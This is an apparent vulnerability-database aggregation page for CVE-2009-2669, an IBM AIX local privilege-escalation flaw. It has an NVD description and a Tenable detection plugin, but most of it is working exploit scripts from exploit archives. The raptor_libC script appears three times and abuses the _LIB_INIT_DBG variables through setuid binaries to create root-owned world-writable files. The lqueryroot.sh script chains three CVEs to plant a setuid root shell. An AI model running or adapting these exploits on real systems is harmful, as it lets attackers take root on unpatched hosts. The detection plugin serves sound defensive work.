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CVE-2009-2669

2009-08-05T15:30:01

ID CVE-2009-2669
Type cve
Reporter NVD
Modified 2009-08-12T01:30:39

Description

A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which allows local users to gain privileges by leveraging a setuid-root program to create an arbitrary root-owned file with world-writable permissions, related to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1.

JSON Vulners Source

Initial Source

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This means that the fix is delivered by updating the XL C++ runtime on AIX 5.3 and earlier, and by updating the bos.rte.libc fileset on AIX 6.1.\n\nThe following libraries are vulnerable :\n\nAIX 5.3 and earlier: /usr/lpp/xlC/lib/libC.a\n\nAIX 6.1: /usr/ccs/lib/libc.a /usr/ccs/lib/libp/libc.a.", "modified": "2013-03-11T00:00:00", "id": "AIX_IZ56203.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=64341", "published": "2013-01-30T00:00:00", "title": "AIX 6.1 TL 0 : libC (IZ56203)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The text in the description was extracted from AIX Security\n# Advisory libC_advisory.asc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(64341);\n script_version(\"$Revision: 1.2 $\");\n script_cvs_date(\"$Date: 2013/03/11 18:51:58 $\");\n\n script_cve_id(\"CVE-2009-2669\");\n\n script_name(english:\"AIX 6.1 TL 0 : libC (IZ56203)\");\n script_summary(english:\"Check for APAR IZ56203\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote AIX host is missing a security patch.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"There is a an error in the handling of the _LIB_INIT_DBG and\n_LIB_INIT_DBG_FILE environment variables in a debugging component of\nthe XL C++ runtime library. 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This means that the fix is delivered by\nupdating the XL C++ runtime on AIX 5.3 and earlier, and by\nupdating the bos.rte.libc fileset on AIX 6.1.\n\nThe following libraries are vulnerable :\n\nAIX 5.3 and earlier: /usr/lpp/xlC/lib/libC.a\n\nAIX 6.1: /usr/ccs/lib/libc.a /usr/ccs/lib/libp/libc.a.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://aix.software.ibm.com/aix/efixes/security/libC_advisory.asc\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Install the appropriate interim fix.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_cwe_id(264);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:ibm:aix:6.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2009/08/04\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/08/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/01/30\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013 Tenable Network Security, Inc.\");\n script_family(english:\"AIX Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/AIX/lslpp\", \"Host/local_checks_enabled\", \"Host/AIX/version\");\n\n exit(0);\n}\n\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"aix.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif ( ! get_kb_item(\"Host/AIX/version\") ) audit(AUDIT_OS_NOT, \"AIX\");\nif ( ! get_kb_item(\"Host/AIX/lslpp\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nif ( get_kb_item(\"Host/AIX/emgr_failure\" ) ) exit(0, \"This iFix check is disabled because : \"+get_kb_item(\"Host/AIX/emgr_failure\") );\n\nflag = 0;\n\nif (aix_check_ifix(release:\"6.1\", ml:\"00\", patch:\"IZ56203_00\", package:\"bos.rte.libc\", minfilesetver:\"6.1.0.0\", maxfilesetver:\"6.1.0.11\") < 0) flag++;\nif (aix_check_ifix(release:\"6.1\", ml:\"00\", patch:\"IZ56203_00\", package:\"bos.adt.prof\", minfilesetver:\"6.1.0.0\", maxfilesetver:\"6.1.0.10\") < 0) flag++;\nif (aix_check_ifix(release:\"6.1\", ml:\"00\", patch:\"IZ56203_0p\", package:\"bos.rte.libc\", minfilesetver:\"6.1.0.0\", maxfilesetver:\"6.1.0.11\") < 0) flag++;\nif (aix_check_ifix(release:\"6.1\", ml:\"00\", patch:\"IZ56203_0p\", package:\"bos.adt.prof\", minfilesetver:\"6.1.0.0\", maxfilesetver:\"6.1.0.10\") < 0) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:aix_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:12:48", "bulletinFamily": "exploit", "description": "", "modified": "2009-09-11T00:00:00", "published": "2009-09-11T00:00:00", "href": "https://packetstormsecurity.com/files/81223/IBM-AIX-5.6-6.1-File-Overwrite.html", "id": "PACKETSTORM:81223", "type": "packetstorm", "title": "IBM AIX 5.6/6.1 File Overwrite", "sourceData": "`#!/bin/sh \n \n# \n# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $ \n# \n# raptor_libC - AIX arbitrary file overwrite via libC debug \n# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net> \n# \n# Property of @ Mediaservice.net Srl Data Security Division \n# http://www.mediaservice.net/ http://lab.mediaservice.net/ \n# \n# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING *** \n# \n# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle \n# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which \n# allows local users to gain privileges by leveraging a setuid-root program to \n# create an arbitrary root-owned file with world-writable permissions, related \n# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1 \n# (CVE-2009-2669). \n# \n# Typical privilege escalation techniques via arbitrary file creation don't \n# seem to work on recent AIX versions: .rhosts is ignored if it is group or \n# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; \n# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's \n# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come \n# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, \n# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d. \n# \n# See also: http://milw0rm.com/exploits/9306 \n# \n# Usage: \n# $ uname -a \n# AIX rs6000 3 5 0052288E4C00 \n# $ lslpp -L xlC.rte | grep xlC.rte \n# xlC.rte 9.0.0.1 C F XL C/C++ Runtime \n# $ chmod +x raptor_libC \n# $ ./raptor_libC /bin/bobobobobob \n# [...] \n# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob \n# \n# Vulnerable platforms (AIX 5.3): \n# xlC.rte < 8.0.0.0 [untested] \n# xlC.rte 8.0.0.0-8.0.0.14 [untested] \n# xlC.rte 9.0.0.0-9.0.0.9 [tested] \n# xlC.rte 10.1.0.0-10.1.0.2 [untested] \n# \n# Vulnerable platforms (AIX 6.1): \n# bos.rte.libc 6.1.0.0-6.1.0.11 [untested] \n# bos.rte.libc 6.1.1.0-6.1.1.6 [untested] \n# bos.rte.libc 6.1.2.0-6.1.2.5 [untested] \n# bos.rte.libc 6.1.3.0-6.1.3.2 [untested] \n# bos.adt.prof 6.1.0.0-6.1.0.10 [untested] \n# bos.adt.prof 6.1.1.0-6.1.1.5 [untested] \n# bos.adt.prof 6.1.2.0-6.1.2.4 [untested] \n# bos.adt.prof 6.1.3.0-6.1.3.1 [untested] \n# \n \necho \"raptor_libC - AIX arbitrary file overwrite via libC debug\" \necho \"Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>\" \necho \n \n# check the arguments \nif [ -z \"$1\" ]; then \necho \"*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***\" \necho \necho \"Usage: $0 <filename>\" \necho \nexit \nfi \n \n# prepare the environment \n_LIB_INIT_DBG=1 \n_LIB_INIT_DBG_FILE=$1 \nexport _LIB_INIT_DBG _LIB_INIT_DBG_FILE \n \n# gimme -rw-rw-rw-! \numask 0 \n \n# setuid program linked to /usr/lib/libC.a \n/usr/dt/bin/dtappgather \n \n# other good setuid targets \n# /usr/dt/bin/dtprintinfo \n# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey \n \n# check the created file \nls -l $_LIB_INIT_DBG_FILE \necho \n \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/81223/aix-overwrite.txt"}, {"lastseen": "2016-12-05T22:19:22", "bulletinFamily": "exploit", "description": "", "modified": "2016-11-04T00:00:00", "published": "2016-11-04T00:00:00", "href": "https://packetstormsecurity.com/files/139565/AIX-5.3-6.1-7.1-7.2-lquerylv-Local-Root.html", "id": "PACKETSTORM:139565", "title": "AIX 5.3 / 6.1 / 7.1 / 7.2 lquerylv Local Root", "type": "packetstorm", "sourceData": "`#!/usr/bin/sh \n# \n# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04) \n# \n# This exploit takes advantage of known issues with debugging functions \n# within the AIX linker library. We are taking advantage of known \n# functionality, and focusing on badly coded SUID binaries which do not \n# adhere to proper security checks prior to seteuid/open/writes. \n# \n# The CVEs we will be taking advantage of: \n# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows \n# local users to create or overwrite arbitrary files via a symlink attack on \n# the log file associated with the MALLOCDEBUG environment variable. \n# \n# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does \n# not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE \n# environment variables, which allows local users to gain privileges by \n# leveraging a setuid-root program to create an arbitrary root-owned file \n# with world-writable permissions, related to libC.a (aka the XL C++ runtime \n# library) in AIX 5.3 and libc.a in AIX 6.1. \n# \n# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary \n# File Writes In IBM AIX. \n# \n# In each instance of the aforementioned CVEs, IBM merely patched the binaries \n# which were reported in the original reports as being used for escalation of \n# the vulnerabilities. This allowed for the lquerylv binary to slip by their \n# patches and become an attack vector. \n# \n# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/ \n# \n# lqueryroot.sh by @hxmonsegur [2016 //RSL] \n \nROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}') \nAPP=$0 \n \nfunction usage \n{ \necho \"Usage: $APP [1] | [2] | [3]\" \necho \necho \"1 - MALLOCDEBUG file write -> escalation\" \necho \"2 - _LIB_INIT_DBG_FILE file write -> escalation\" \necho \"3 - MALLOCBUCKETS file write -> escalation\" \necho \necho \"[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL\" \nexit \n} \n \nfunction CVE20091786 \n{ \necho \"[*] Exporting MALLOCDEBUG environment variable\" \nMALLOCTYPE=debug \nMALLOCDEBUG=report_allocations,output:/etc/suid_profile \nexport MALLOCTYPE MALLOCDEBUG \n} \n \nfunction CVE20092669 \n{ \necho \"[*] Exporting _LIB_INIT_DBG_FILE environment variable\" \n_LIB_INIT_DBG=1 \n_LIB_INIT_DBG_FILE=/etc/suid_profile \nexport _LIB_INIT_DBG _LIB_INIT_DBG_FILE \n} \n \nfunction CVE20143074 \n{ \necho \"[*] Exporting MALLOCBUCKETS environment variable\" \nMALLOCOPTIONS=buckets \nMALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile \nexport MALLOCOPTIONS MALLOCBUCKETS \n} \n \nif [ -z \"$1\" ]; then \nusage \nexit 1 \nfi \n \nwhile [ \"$1\" != \"\" ]; do \ncase $1 in \n1 ) CVE20091786;; \n2 ) CVE20092669;; \n3 ) CVE20143074;; \n* ) usage \nbreak;; \nesac \nshift \ndone \n \nif [ ! -x \"/usr/sbin/lquerylv\" ]; then \necho \"[-] lquerylv isn't executable. Tough luck.\" \nexit 1 \nfi \n \necho \"[*] Setting umask to 000\" \numask 000 \n \necho \"[*] Execute our vulnerable binary\" \n/usr/sbin/lquerylv >/dev/null 2>&1 \n \nif [ ! -e \"/etc/suid_profile\" ]; then \necho \"[-] /etc/suid_profile does not exist and exploit failed.\" \nexit 1 \nfi \n \necho \"[*] Cleaning up /etc/suid_profile\" \necho > /etc/suid_profile \n \necho \"[*] Current id: `/usr/bin/id`\" \n \necho \"[*] Adding payload\" \ncat << EOF >/etc/suid_profile \ncp /bin/ksh $ROOTSHELL \n/usr/bin/syscall setreuid 0 0 \nchown root:system $ROOTSHELL \nchmod 6755 $ROOTSHELL \nrm /etc/suid_profile \nEOF \n \necho \"[*] Unsetting env\" \nunset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE \n \necho \"[*] Executing ibstat for fun and profit\" \n/usr/bin/ibstat -a >/dev/null 2>&1 \n \nif [ ! -e \"$ROOTSHELL\" ]; then \necho \"[-] Rootshell does not exist and exploit failed.\" \nexit 1 \nfi \n \necho \"[*] Executing rootshell\" \n$ROOTSHELL \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/139565/aixlquery-escalate.txt", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "seebug": [{"lastseen": "2017-11-19T18:36:45", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2009-09-14T00:00:00", "published": "2009-09-14T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-12286", "id": "SSV:12286", "title": "IBM AIX 5.6/6.1 _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug", "type": "seebug", "sourceData": "\n #!/bin/sh\r\n\r\n#\r\n# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $\r\n#\r\n# raptor_libC - AIX arbitrary file overwrite via libC debug\r\n# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>\r\n#\r\n# Property of @ Mediaservice.net Srl Data Security Division\r\n# http://www.mediaservice.net/ http://lab.mediaservice.net/\r\n#\r\n# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***\r\n#\r\n# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle \r\n# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which \r\n# allows local users to gain privileges by leveraging a setuid-root program to \r\n# create an arbitrary root-owned file with world-writable permissions, related \r\n# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1\r\n# (CVE-2009-2669).\r\n#\r\n# Typical privilege escalation techniques via arbitrary file creation don't \r\n# seem to work on recent AIX versions: .rhosts is ignored if it is group or \r\n# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; \r\n# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's\r\n# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come \r\n# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, \r\n# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.\r\n#\r\n# See also: http://milw0rm.com/exploits/9306\r\n#\r\n# Usage:\r\n# $ uname -a\r\n# AIX rs6000 3 5 0052288E4C00\r\n# $ lslpp -L xlC.rte | grep xlC.rte\r\n# xlC.rte 9.0.0.1 C F XL C/C++ Runtime \r\n# $ chmod +x raptor_libC\r\n# $ ./raptor_libC /bin/bobobobobob\r\n# [...]\r\n# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob\r\n#\r\n# Vulnerable platforms (AIX 5.3):\r\n# xlC.rte < 8.0.0.0\t\t[untested]\r\n# xlC.rte 8.0.0.0-8.0.0.14\t[untested]\r\n# xlC.rte 9.0.0.0-9.0.0.9\t[tested]\r\n# xlC.rte 10.1.0.0-10.1.0.2\t[untested]\r\n#\r\n# Vulnerable platforms (AIX 6.1):\r\n# bos.rte.libc 6.1.0.0-6.1.0.11\t[untested]\r\n# bos.rte.libc 6.1.1.0-6.1.1.6\t[untested]\r\n# bos.rte.libc 6.1.2.0-6.1.2.5\t[untested]\r\n# bos.rte.libc 6.1.3.0-6.1.3.2\t[untested]\r\n# bos.adt.prof 6.1.0.0-6.1.0.10\t[untested]\r\n# bos.adt.prof 6.1.1.0-6.1.1.5\t[untested]\r\n# bos.adt.prof 6.1.2.0-6.1.2.4\t[untested]\r\n# bos.adt.prof 6.1.3.0-6.1.3.1\t[untested]\r\n#\r\n\r\necho "raptor_libC - AIX arbitrary file overwrite via libC debug"\r\necho "Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>"\r\necho\r\n\r\n# check the arguments\r\nif [ -z "$1" ]; then\r\n\techo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"\r\n\techo\r\n\techo "Usage: $0 <filename>"\r\n\techo\r\n\texit\r\nfi\r\n\r\n# prepare the environment\r\n_LIB_INIT_DBG=1\r\n_LIB_INIT_DBG_FILE=$1\r\nexport _LIB_INIT_DBG _LIB_INIT_DBG_FILE\r\n\r\n# gimme -rw-rw-rw-!\r\numask 0\r\n\r\n# setuid program linked to /usr/lib/libC.a\r\n/usr/dt/bin/dtappgather\r\n\r\n# other good setuid targets\r\n# /usr/dt/bin/dtprintinfo\r\n# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey\r\n\r\n# check the created file\r\nls -l $_LIB_INIT_DBG_FILE\r\necho\r\n\n ", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-12286"}, {"lastseen": "2017-11-19T14:24:13", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2014-07-01T00:00:00", "published": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-66883", "id": "SSV:66883", "title": "IBM AIX 5.6/6.1 - _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug", "type": "seebug", "sourceData": "\n #!/bin/sh\r\n\r\n#\r\n# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $\r\n#\r\n# raptor_libC - AIX arbitrary file overwrite via libC debug\r\n# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>\r\n#\r\n# Property of @ Mediaservice.net Srl Data Security Division\r\n# http://www.mediaservice.net/ http://lab.mediaservice.net/\r\n#\r\n# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***\r\n#\r\n# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle \r\n# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which \r\n# allows local users to gain privileges by leveraging a setuid-root program to \r\n# create an arbitrary root-owned file with world-writable permissions, related \r\n# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1\r\n# (CVE-2009-2669).\r\n#\r\n# Typical privilege escalation techniques via arbitrary file creation don't \r\n# seem to work on recent AIX versions: .rhosts is ignored if it is group or \r\n# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; \r\n# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's\r\n# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come \r\n# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, \r\n# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.\r\n#\r\n# See also: http://milw0rm.com/exploits/9306\r\n#\r\n# Usage:\r\n# $ uname -a\r\n# AIX rs6000 3 5 0052288E4C00\r\n# $ lslpp -L xlC.rte | grep xlC.rte\r\n# xlC.rte 9.0.0.1 C F XL C/C++ Runtime \r\n# $ chmod +x raptor_libC\r\n# $ ./raptor_libC /bin/bobobobobob\r\n# [...]\r\n# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob\r\n#\r\n# Vulnerable platforms (AIX 5.3):\r\n# xlC.rte < 8.0.0.0\t\t[untested]\r\n# xlC.rte 8.0.0.0-8.0.0.14\t[untested]\r\n# xlC.rte 9.0.0.0-9.0.0.9\t[tested]\r\n# xlC.rte 10.1.0.0-10.1.0.2\t[untested]\r\n#\r\n# Vulnerable platforms (AIX 6.1):\r\n# bos.rte.libc 6.1.0.0-6.1.0.11\t[untested]\r\n# bos.rte.libc 6.1.1.0-6.1.1.6\t[untested]\r\n# bos.rte.libc 6.1.2.0-6.1.2.5\t[untested]\r\n# bos.rte.libc 6.1.3.0-6.1.3.2\t[untested]\r\n# bos.adt.prof 6.1.0.0-6.1.0.10\t[untested]\r\n# bos.adt.prof 6.1.1.0-6.1.1.5\t[untested]\r\n# bos.adt.prof 6.1.2.0-6.1.2.4\t[untested]\r\n# bos.adt.prof 6.1.3.0-6.1.3.1\t[untested]\r\n#\r\n\r\necho "raptor_libC - AIX arbitrary file overwrite via libC debug"\r\necho "Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>"\r\necho\r\n\r\n# check the arguments\r\nif [ -z "$1" ]; then\r\n\techo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"\r\n\techo\r\n\techo "Usage: $0 <filename>"\r\n\techo\r\n\texit\r\nfi\r\n\r\n# prepare the environment\r\n_LIB_INIT_DBG=1\r\n_LIB_INIT_DBG_FILE=$1\r\nexport _LIB_INIT_DBG _LIB_INIT_DBG_FILE\r\n\r\n# gimme -rw-rw-rw-!\r\numask 0\r\n\r\n# setuid program linked to /usr/lib/libC.a\r\n/usr/dt/bin/dtappgather\r\n\r\n# other good setuid targets\r\n# /usr/dt/bin/dtprintinfo\r\n# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey\r\n\r\n# check the created file\r\nls -l $_LIB_INIT_DBG_FILE\r\necho\r\n\r\n# milw0rm.com [2009-09-11]\r\n\n ", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-66883"}], "exploitdb": [{"lastseen": "2016-02-01T11:03:32", "bulletinFamily": "exploit", "description": "IBM AIX 5.6/6.1 _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug. CVE-2009-2669. Local exploit for aix platform", "modified": "2009-09-11T00:00:00", "published": "2009-09-11T00:00:00", "id": "EDB-ID:9645", "href": "https://www.exploit-db.com/exploits/9645/", "type": "exploitdb", "title": "IBM AIX 5.6/6.1 - _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug", "sourceData": "#!/bin/sh\r\n\r\n#\r\n# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $\r\n#\r\n# raptor_libC - AIX arbitrary file overwrite via libC debug\r\n# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>\r\n#\r\n# Property of @ Mediaservice.net Srl Data Security Division\r\n# http://www.mediaservice.net/ http://lab.mediaservice.net/\r\n#\r\n# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***\r\n#\r\n# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle \r\n# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which \r\n# allows local users to gain privileges by leveraging a setuid-root program to \r\n# create an arbitrary root-owned file with world-writable permissions, related \r\n# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1\r\n# (CVE-2009-2669).\r\n#\r\n# Typical privilege escalation techniques via arbitrary file creation don't \r\n# seem to work on recent AIX versions: .rhosts is ignored if it is group or \r\n# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; \r\n# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's\r\n# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come \r\n# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, \r\n# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.\r\n#\r\n# See also: http://milw0rm.com/exploits/9306\r\n#\r\n# Usage:\r\n# $ uname -a\r\n# AIX rs6000 3 5 0052288E4C00\r\n# $ lslpp -L xlC.rte | grep xlC.rte\r\n# xlC.rte 9.0.0.1 C F XL C/C++ Runtime \r\n# $ chmod +x raptor_libC\r\n# $ ./raptor_libC /bin/bobobobobob\r\n# [...]\r\n# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob\r\n#\r\n# Vulnerable platforms (AIX 5.3):\r\n# xlC.rte < 8.0.0.0\t\t[untested]\r\n# xlC.rte 8.0.0.0-8.0.0.14\t[untested]\r\n# xlC.rte 9.0.0.0-9.0.0.9\t[tested]\r\n# xlC.rte 10.1.0.0-10.1.0.2\t[untested]\r\n#\r\n# Vulnerable platforms (AIX 6.1):\r\n# bos.rte.libc 6.1.0.0-6.1.0.11\t[untested]\r\n# bos.rte.libc 6.1.1.0-6.1.1.6\t[untested]\r\n# bos.rte.libc 6.1.2.0-6.1.2.5\t[untested]\r\n# bos.rte.libc 6.1.3.0-6.1.3.2\t[untested]\r\n# bos.adt.prof 6.1.0.0-6.1.0.10\t[untested]\r\n# bos.adt.prof 6.1.1.0-6.1.1.5\t[untested]\r\n# bos.adt.prof 6.1.2.0-6.1.2.4\t[untested]\r\n# bos.adt.prof 6.1.3.0-6.1.3.1\t[untested]\r\n#\r\n\r\necho \"raptor_libC - AIX arbitrary file overwrite via libC debug\"\r\necho \"Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>\"\r\necho\r\n\r\n# check the arguments\r\nif [ -z \"$1\" ]; then\r\n\techo \"*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***\"\r\n\techo\r\n\techo \"Usage: $0 <filename>\"\r\n\techo\r\n\texit\r\nfi\r\n\r\n# prepare the environment\r\n_LIB_INIT_DBG=1\r\n_LIB_INIT_DBG_FILE=$1\r\nexport _LIB_INIT_DBG _LIB_INIT_DBG_FILE\r\n\r\n# gimme -rw-rw-rw-!\r\numask 0\r\n\r\n# setuid program linked to /usr/lib/libC.a\r\n/usr/dt/bin/dtappgather\r\n\r\n# other good setuid targets\r\n# /usr/dt/bin/dtprintinfo\r\n# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey\r\n\r\n# check the created file\r\nls -l $_LIB_INIT_DBG_FILE\r\necho\r\n\r\n# milw0rm.com [2009-09-11]\r\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/9645/"}]}